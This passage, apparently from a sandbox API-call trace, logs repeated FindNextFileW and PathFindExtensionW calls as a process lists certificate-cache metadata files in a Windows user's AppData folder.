(in: hFindFile=0x31bee60, lpFindFileData=0x38cfba4 | out: lpFindFileData=0x38cfba4*(dwFileAttributes=0x2024, ftCreationTime.dwLowDateTime=0x611ea800, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x611ea800, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0xaecc9960, ftLastWriteTime.dwHighDateTime=0x1d2e675, nFileSizeHigh=0x0, nFileSizeLow=0x186, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="8059E9A0D314877E40FE93D8CCFB3C69_294110D6990EE392327F8A606D55BC1E", cAlternateFileName="80273C~1")) returned 1 [0069.196] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\MetaData\\8059E9A0D314877E40FE93D8CCFB3C69_294110D6990EE392327F8A606D55BC1E") returned="" [0069.196] FindNextFileW (in: hFindFile=0x31bee60, lpFindFileData=0x38cfba4 | out: lpFindFileData=0x38cfba4*(dwFileAttributes=0x2024, ftCreationTime.dwLowDateTime=0x58e24200, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x58e24200, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0xae9f5f40, ftLastWriteTime.dwHighDateTime=0x1d2e675, nFileSizeHigh=0x0, nFileSizeLow=0x186, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="8059E9A0D314877E40FE93D8CCFB3C69_50167909FCFE0C66153F1901439CBBA1", cAlternateFileName="8059E9~2")) returned 1 [0069.196] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\MetaData\\8059E9A0D314877E40FE93D8CCFB3C69_50167909FCFE0C66153F1901439CBBA1") returned="" [0069.196] FindNextFileW (in: hFindFile=0x31bee60, lpFindFileData=0x38cfba4 | out: lpFindFileData=0x38cfba4*(dwFileAttributes=0x2024, ftCreationTime.dwLowDateTime=0x61236ac0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x61236ac0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x3b0b01a0, ftLastWriteTime.dwHighDateTime=0x1d2e621, nFileSizeHigh=0x0, nFileSizeLow=0x182, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="8059E9A0D314877E40FE93D8CCFB3C69_581C904DB5924E46A6C1A8637614A40E", cAlternateFileName="809279~1")) returned 1 [0069.196] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\MetaData\\8059E9A0D314877E40FE93D8CCFB3C69_581C904DB5924E46A6C1A8637614A40E") returned="" [0069.196] FindNextFileW (in: hFindFile=0x31bee60, lpFindFileData=0x38cfba4 | out: lpFindFileData=0x38cfba4*(dwFileAttributes=0x2024, ftCreationTime.dwLowDateTime=0x5836df00, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x5836df00, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0xb0f739c0, ftLastWriteTime.dwHighDateTime=0x1d2e675, nFileSizeHigh=0x0, nFileSizeLow=0x182, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="8059E9A0D314877E40FE93D8CCFB3C69_5EA65844B9EF5670A9C002CBD85B10A4", cAlternateFileName="8059E9~1")) returned 1 [0069.196] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\MetaData\\8059E9A0D314877E40FE93D8CCFB3C69_5EA65844B9EF5670A9C002CBD85B10A4") returned="" [0069.196] FindNextFileW (in: hFindFile=0x31bee60, lpFindFileData=0x38cfba4 | out: lpFindFileData=0x38cfba4*(dwFileAttributes=0x2024, ftCreationTime.dwLowDateTime=0x62378a40, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x62378a40, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0xae9a9c80, ftLastWriteTime.dwHighDateTime=0x1d2e675, nFileSizeHigh=0x0, nFileSizeLow=0x182, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="8059E9A0D314877E40FE93D8CCFB3C69_74E943F7DAB6D19E37E4854057155778", cAlternateFileName="80E4BE~1")) returned 1 [0069.196] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\MetaData\\8059E9A0D314877E40FE93D8CCFB3C69_74E943F7DAB6D19E37E4854057155778") returned="" [0069.196] FindNextFileW (in: hFindFile=0x31bee60, lpFindFileData=0x38cfba4 | out: lpFindFileData=0x38cfba4*(dwFileAttributes=0x2024, ftCreationTime.dwLowDateTime=0x613675c0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x613675c0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x69bba4a0, ftLastWriteTime.dwHighDateTime=0x1d2e621, nFileSizeHigh=0x0, nFileSizeLow=0x186, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="8059E9A0D314877E40FE93D8CCFB3C69_C080DA2AE431C1A7F3B0C147EEB043ED", cAlternateFileName="803B9E~1")) returned 1 [0069.196] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\MetaData\\8059E9A0D314877E40FE93D8CCFB3C69_C080DA2AE431C1A7F3B0C147EEB043ED") returned="" [0069.196] FindNextFileW (in: hFindFile=0x31bee60, lpFindFileData=0x38cfba4 | out: lpFindFileData=0x38cfba4*(dwFileAttributes=0x2024, ftCreationTime.dwLowDateTime=0x63c50fe0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x63c50fe0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0xb100bf40, ftLastWriteTime.dwHighDateTime=0x1d2e675, nFileSizeHigh=0x0, nFileSizeLow=0x186, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="8059E9A0D314877E40FE93D8CCFB3C69_E907D7A04657714B5B06D18BC920971E", cAlternateFileName="803D37~1")) returned 1 [0069.197] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\MetaData\\8059E9A0D314877E40FE93D8CCFB3C69_E907D7A04657714B5B06D18BC920971E") returned="" [0069.197] FindNextFileW (in: hFindFile=0x31bee60, lpFindFileData=0x38cfba4 | out: lpFindFileData=0x38cfba4*(dwFileAttributes=0x2024, ftCreationTime.dwLowDateTime=0x61021780, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x61021780, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0xb1058200, ftLastWriteTime.dwHighDateTime=0x1d2e675, nFileSizeHigh=0x0, nFileSizeLow=0x182, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="8059E9A0D314877E40FE93D8CCFB3C69_F2318F7AB33980A131A265454C39CA30", cAlternateFileName="8059E9~4")) returned 1 [0069.197] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\MetaData\\8059E9A0D314877E40FE93D8CCFB3C69_F2318F7AB33980A131A265454C39CA30") returned="" [0069.197] FindNextFileW (in: hFindFile=0x31bee60, lpFindFileData=0x38cfba4 | out: lpFindFileData=0x38cfba4*(dwFileAttributes=0x2024, ftCreationTime.dwLowDateTime=0x636a9ba0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x636a9ba0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0xb139e040, ftLastWriteTime.dwHighDateTime=0x1d2e675, nFileSizeHigh=0x0, nFileSizeLow=0x186, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="8059E9A0D314877E40FE93D8CCFB3C69_F6E15778DC8E326895C606FBFA0392EB", cAlternateFileName="800D31~1")) returned 1 [0069.197] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\MetaData\\8059E9A0D314877E40FE93D8CCFB3C69_F6E15778DC8E326895C606FBFA0392EB") returned="" [0069.197] FindNextFileW (in: hFindFile=0x31bee60, lpFindFileData=0x38cfba4 | out: lpFindFileData=0x38cfba4*(dwFileAttributes=0x2024, ftCreationTime.dwLowDateTime=0x581f7ea0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x581f7ea0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0xb0f4d860, ftLastWriteTime.dwHighDateTime=0x1d2e675, nFileSizeHigh=0x0, nFileSizeLow=0x180, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="828298824EA5549947C17DDABF6871F5_0206EFBC540300C3BF0163CDBC3D7D56", cAlternateFileName="828298~1")) returned 1 [0069.197] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\MetaData\\828298824EA5549947C17DDABF6871F5_0206EFBC540300C3BF0163CDBC3D7D56") returned="" [0069.197] FindNextFileW (in: hFindFile=0x31bee60, lpFindFileData=0x38cfba4 | out: lpFindFileData=0x38cfba4*(dwFileAttributes=0x2024, ftCreationTime.dwLowDateTime=0xec3c5340, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xec3c5340, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0xb16257a0, ftLastWriteTime.dwHighDateTime=0x1d2e675, nFileSizeHigh=0x0, nFileSizeLow=0x188, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="8828F39C7C0CE9A14B25C7EB321181BA_3DF94EB797096674F7793A562A778C5F", cAlternateFileName="8828F3~1")) returned 1 [0069.197] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\MetaData\\8828F39C7C0CE9A14B25C7EB321181BA_3DF94EB797096674F7793A562A778C5F") returned="" [0069.197] FindNextFileW (in: hFindFile=0x31bee60, lpFindFileData=0x38cfba4 | out: lpFindFileData=0x38cfba4*(dwFileAttributes=0x2024, ftCreationTime.dwLowDateTime=0x8064ac00, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x8064ac00, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x80670d60, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x188, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="8828F39C7C0CE9A14B25C7EB321181BA_C6EF73E4482B2588B1252D1A64B99416", cAlternateFileName="8828F3~2")) returned 1 [0069.197] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\MetaData\\8828F39C7C0CE9A14B25C7EB321181BA_C6EF73E4482B2588B1252D1A64B99416") returned="" [0069.197] FindNextFileW (in: hFindFile=0x31bee60, lpFindFileData=0x38cfba4 | out: lpFindFileData=0x38cfba4*(dwFileAttributes=0x2024, ftCreationTime.dwLowDateTime=0x6aa2c0a0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x6aa2c0a0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0xadf19ae0, ftLastWriteTime.dwHighDateTime=0x1d2e675, nFileSizeHigh=0x0, nFileSizeLow=0x196, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="8E4E510F44A56B8C8ECFEC352907C373_411140098D71F028134E9B8A21255C61", cAlternateFileName="8E4E51~1")) returned 1 [0069.197] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\MetaData\\8E4E510F44A56B8C8ECFEC352907C373_411140098D71F028134E9B8A21255C61") returned="" [0069.197] FindNextFileW (in: hFindFile=0x31bee60, lpFindFileData=0x38cfba4 | out: lpFindFileData=0x38cfba4*(dwFileAttributes=0x2024, ftCreationTime.dwLowDateTime=0x28dbdd20, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28dbdd20, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xbf0dd70, ftLastWriteTime.dwHighDateTime=0x1d35d06, nFileSizeHigh=0x0, nFileSizeLow=0x156, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="94308059B57B3142E455B38A6EB92015", cAlternateFileName="943080~1")) returned 1 [0069.197] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\MetaData\\94308059B57B3142E455B38A6EB92015") returned="" [0069.197] FindNextFileW (in: hFindFile=0x31bee60, lpFindFileData=0x38cfba4 | out: lpFindFileData=0x38cfba4*(dwFileAttributes=0x2024, ftCreationTime.dwLowDateTime=0x6a83cec0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x6a83cec0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0xaebe5120, ftLastWriteTime.dwHighDateTime=0x1d2e675, nFileSizeHigh=0x0, nFileSizeLow=0x194, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="955CAB6FF6A24D5820D50B5BA1CF79C7_AD9E7615297A3A83320AACE5801A04F9", cAlternateFileName="955CAB~1")) returned 1 [0069.197] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\MetaData\\955CAB6FF6A24D5820D50B5BA1CF79C7_AD9E7615297A3A83320AACE5801A04F9") returned="" [0069.197] FindNextFileW (in: hFindFile=0x31bee60, lpFindFileData=0x38cfba4 | out: lpFindFileData=0x38cfba4*(dwFileAttributes=0x2024, ftCreationTime.dwLowDateTime=0xbf3f73d0, ftCreationTime.dwHighDateTime=0x1d2faf2, ftLastAccessTime.dwLowDateTime=0xbf3f73d0, ftLastAccessTime.dwHighDateTime=0x1d2faf2, ftLastWriteTime.dwLowDateTime=0xbf3f73d0, ftLastWriteTime.dwHighDateTime=0x1d2faf2, nFileSizeHigh=0x0, nFileSizeLow=0x186, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="9BC2FFC5D9591E1BD3545230E9B7CC36_CF30943571F9BEE96C487B2D9F0436E6", cAlternateFileName="9BC2FF~1")) returned 1 [0069.198] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\MetaData\\9BC2FFC5D9591E1BD3545230E9B7CC36_CF30943571F9BEE96C487B2D9F0436E6") returned="" [0069.198] FindNextFileW (in: hFindFile=0x31bee60, lpFindFileData=0x38cfba4 | out: lpFindFileData=0x38cfba4*(dwFileAttributes=0x2024, ftCreationTime.dwLowDateTime=0xe06277d0, ftCreationTime.dwHighDateTime=0x1d2ddf4, ftLastAccessTime.dwLowDateTime=0xe06277d0, ftLastAccessTime.dwHighDateTime=0x1d2ddf4, ftLastWriteTime.dwLowDateTime=0xb15d94e0, ftLastWriteTime.dwHighDateTime=0x1d2e675, nFileSizeHigh=0x0, nFileSizeLow=0x182, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="9C888BEABCCBC2A97B0D6D9214C3BA37_1213DC6F71E4C3B05E7BCEEBC203A31E", cAlternateFileName="9C888B~1")) returned 1 [0069.198] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\MetaData\\9C888BEABCCBC2A97B0D6D9214C3BA37_1213DC6F71E4C3B05E7BCEEBC203A31E") returned="" [0069.198] FindNextFileW (in: hFindFile=0x31bee60, lpFindFileData=0x38cfba4 | out: lpFindFileData=0x38cfba4*(dwFileAttributes=0x2024, ftCreationTime.dwLowDateTime=0xe07ca6f0, ftCreationTime.dwHighDateTime=0x1d2ddf4, ftLastAccessTime.dwLowDateTime=0xe07ca6f0, ftLastAccessTime.dwHighDateTime=0x1d2ddf4, ftLastWriteTime.dwLowDateTime=0x965accc0, ftLastWriteTime.dwHighDateTime=0x1d2e621, nFileSizeHigh=0x0, nFileSizeLow=0x182, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="9C888BEABCCBC2A97B0D6D9214C3BA37_EBC75728C6119A77E4DA8559DD10F061", cAlternateFileName="9C888B~2")) returned 1 [0069.198] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\MetaData\\9C888BEABCCBC2A97B0D6D9214C3BA37_EBC75728C6119A77E4DA8559DD10F061") returned="" [0069.198] FindNextFileW (in: hFindFile=0x31bee60, lpFindFileData=0x38cfba4 | out: lpFindFileData=0x38cfba4*(dwFileAttributes=0x2024, ftCreationTime.dwLowDateTime=0x54bc3730, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x54bc3730, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0xb11d4fc0, ftLastWriteTime.dwHighDateTime=0x1d2e675, nFileSizeHigh=0x0, nFileSizeLow=0x1ae, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="A9E4F776657345B52012CE8E279D314C_183A5BE0B233CC1D513955FABECF9450", cAlternateFileName="A9E4F7~1")) returned 1 [0069.198] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\MetaData\\A9E4F776657345B52012CE8E279D314C_183A5BE0B233CC1D513955FABECF9450") returned="" [0069.198] FindNextFileW (in: hFindFile=0x31bee60, lpFindFileData=0x38cfba4 | out: lpFindFileData=0x38cfba4*(dwFileAttributes=0x2024, ftCreationTime.dwLowDateTime=0x53bfe570, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x53bfe570, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0xbe9b34f0, ftLastWriteTime.dwHighDateTime=0x1d2faf2, nFileSizeHigh=0x0, nFileSizeLow=0x1ec, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="ACF244F1A10D4DBED0D88EBA0C43A9B5_BA1AB6C2BDFDF57799E8116E4002D001", cAlternateFileName="ACF244~1")) returned 1 [0069.198] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\MetaData\\ACF244F1A10D4DBED0D88EBA0C43A9B5_BA1AB6C2BDFDF57799E8116E4002D001") returned="" [0069.198] FindNextFileW (in: hFindFile=0x31bee60, lpFindFileData=0x38cfba4 | out: lpFindFileData=0x38cfba4*(dwFileAttributes=0x2024, ftCreationTime.dwLowDateTime=0xe04aaa10, ftCreationTime.dwHighDateTime=0x1d2ddf4, ftLastAccessTime.dwLowDateTime=0xe04aaa10, ftLastAccessTime.dwHighDateTime=0x1d2ddf4, ftLastWriteTime.dwLowDateTime=0xae4e7080, ftLastWriteTime.dwHighDateTime=0x1d2e675, nFileSizeHigh=0x0, nFileSizeLow=0x1a0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="B3BB9C1BA2D19E090AE305B2683903A0_6F0A84CE2BA99BD19D42C92610275852", cAlternateFileName="B3BB9C~2")) returned 1 [0069.198] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\MetaData\\B3BB9C1BA2D19E090AE305B2683903A0_6F0A84CE2BA99BD19D42C92610275852") returned="" [0069.198] FindNextFileW (in: hFindFile=0x31bee60, lpFindFileData=0x38cfba4 | out: lpFindFileData=0x38cfba4*(dwFileAttributes=0x2024, ftCreationTime.dwLowDateTime=0xefc01b00, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xefc01b00, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0xaa4ee1e0, ftLastWriteTime.dwHighDateTime=0x1d2e620, nFileSizeHigh=0x0, nFileSizeLow=0x1a0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="B3BB9C1BA2D19E090AE305B2683903A0_B89A63AC6877BD1ED812438CE82C3EB8", cAlternateFileName="B3BB9C~1")) returned 1 [0069.198] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\MetaData\\B3BB9C1BA2D19E090AE305B2683903A0_B89A63AC6877BD1ED812438CE82C3EB8") returned="" [0069.198] FindNextFileW (in: hFindFile=0x31bee60, lpFindFileData=0x38cfba4 | out: lpFindFileData=0x38cfba4*(dwFileAttributes=0x2024, ftCreationTime.dwLowDateTime=0x54322770, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x54322770, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0xbf019010, ftLastWriteTime.dwHighDateTime=0x1d2faf2, nFileSizeHigh=0x0, nFileSizeLow=0x204, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="BC570EC0DE58335AFAF92FDC8E3AA330_6CE6E578B5C8485B4BE3C4D58E12F150", cAlternateFileName="BC570E~2")) returned 1 [0069.198] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\MetaData\\BC570EC0DE58335AFAF92FDC8E3AA330_6CE6E578B5C8485B4BE3C4D58E12F150") returned="" [0069.198] FindNextFileW (in: hFindFile=0x31bee60, lpFindFileData=0x38cfba4 | out: lpFindFileData=0x38cfba4*(dwFileAttributes=0x2024, ftCreationTime.dwLowDateTime=0x540c1170, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x540c1170, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0xbf019010, ftLastWriteTime.dwHighDateTime=0x1d2faf2, nFileSizeHigh=0x0, nFileSizeLow=0x204, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="BC570EC0DE58335AFAF92FDC8E3AA330_F4D449CA9E0EACCFE15946F8FCD349FC", cAlternateFileName="BC570E~1")) returned 1 [0069.198] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\MetaData\\BC570EC0DE58335AFAF92FDC8E3AA330_F4D449CA9E0EACCFE15946F8FCD349FC") returned="" [0069.198] FindNextFileW (in: hFindFile=0x31bee60, lpFindFileData=0x38cfba4 | out: lpFindFileData=0x38cfba4*(dwFileAttributes=0x2024, ftCreationTime.dwLowDateTime=0x56bb3b80, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x56bb3b80, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0xaeca3800, ftLastWriteTime.dwHighDateTime=0x1d2e675, nFileSizeHigh=0x0, nFileSizeLow=0x192, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="C46E7B0F942663A1EDC8D9D6D7869173_42820CDFEA41DC84AAB89A6B63561873", cAlternateFileName="C46E7B~2")) returned 1 [0069.198] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\MetaData\\C46E7B0F942663A1EDC8D9D6D7869173_42820CDFEA41DC84AAB89A6B63561873") returned="" [0069.199] FindNextFileW (in: hFindFile=0x31bee60, lpFindFileData=0x38cfba4 | out: lpFindFileData=0x38cfba4*(dwFileAttributes=0x2024, ftCreationTime.dwLowDateTime=0x682fbd00, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x682fbd00, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0xae0bca00, ftLastWriteTime.dwHighDateTime=0x1d2e675, nFileSizeHigh=0x0, nFileSizeLow=0x18e, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="C46E7B0F942663A1EDC8D9D6D7869173_6043FC604A395E1485AF7AC16D16B7CE", cAlternateFileName="C46E7B~3")) returned 1 [0069.199] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\MetaData\\C46E7B0F942663A1EDC8D9D6D7869173_6043FC604A395E1485AF7AC16D16B7CE") returned="" [0069.199] FindNextFileW (in: hFindFile=0x31bee60, lpFindFileData=0x38cfba4 | out: lpFindFileData=0x38cfba4*(dwFileAttributes=0x2024, ftCreationTime.dwLowDateTime=0x5461c2f0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x5461c2f0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0xbf67eb30, ftLastWriteTime.dwHighDateTime=0x1d2faf2, nFileSizeHigh=0x0, nFileSizeLow=0x18e, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="C46E7B0F942663A1EDC8D9D6D7869173_D9B9F37ECE595B0B7B6AA12451D392CF", cAlternateFileName="C46E7B~1")) returned 1 [0069.199] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\MetaData\\C46E7B0F942663A1EDC8D9D6D7869173_D9B9F37ECE595B0B7B6AA12451D392CF") returned="" [0069.199] FindNextFileW (in: hFindFile=0x31bee60, lpFindFileData=0x38cfba4 | out: lpFindFileData=0x38cfba4*(dwFileAttributes=0x2024, ftCreationTime.dwLowDateTime=0x728c68a0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x728c68a0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0xae63dce0, ftLastWriteTime.dwHighDateTime=0x1d2e675, nFileSizeHigh=0x0, nFileSizeLow=0x194, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="D47DBD2F9E3365FBBE008D71FB06716F_4DD1053BCC726DA41115FFF4C7D6E9CC", cAlternateFileName="D47DBD~2")) returned 1 [0069.199] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\MetaData\\D47DBD2F9E3365FBBE008D71FB06716F_4DD1053BCC726DA41115FFF4C7D6E9CC") returned="" [0069.199] FindNextFileW (in: hFindFile=0x31bee60, lpFindFileData=0x38cfba4 | out: lpFindFileData=0x38cfba4*(dwFileAttributes=0x2024, ftCreationTime.dwLowDateTime=0x545f6190, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x545f6190, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x69b6e1e0, ftLastWriteTime.dwHighDateTime=0x1d2e621, nFileSizeHigh=0x0, nFileSizeLow=0x198, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="D47DBD2F9E3365FBBE008D71FB06716F_D33192D58AA9CA2B9097E848E9FE86DE", cAlternateFileName="D47DBD~1")) returned 1 [0069.199] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\MetaData\\D47DBD2F9E3365FBBE008D71FB06716F_D33192D58AA9CA2B9097E848E9FE86DE") returned="" [0069.199] FindNextFileW (in: hFindFile=0x31bee60, lpFindFileData=0x38cfba4 | out: lpFindFileData=0x38cfba4*(dwFileAttributes=0x2024, ftCreationTime.dwLowDateTime=0x808d4a70, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x808d4a70, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x808d4a70, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x1a4, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="D52C56D8F24BEC96604372AFBAF264E1_E76A2B627DD019EB51D9335F24B14C2C", cAlternateFileName="D52C56~1")) returned 1 [0069.199] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS 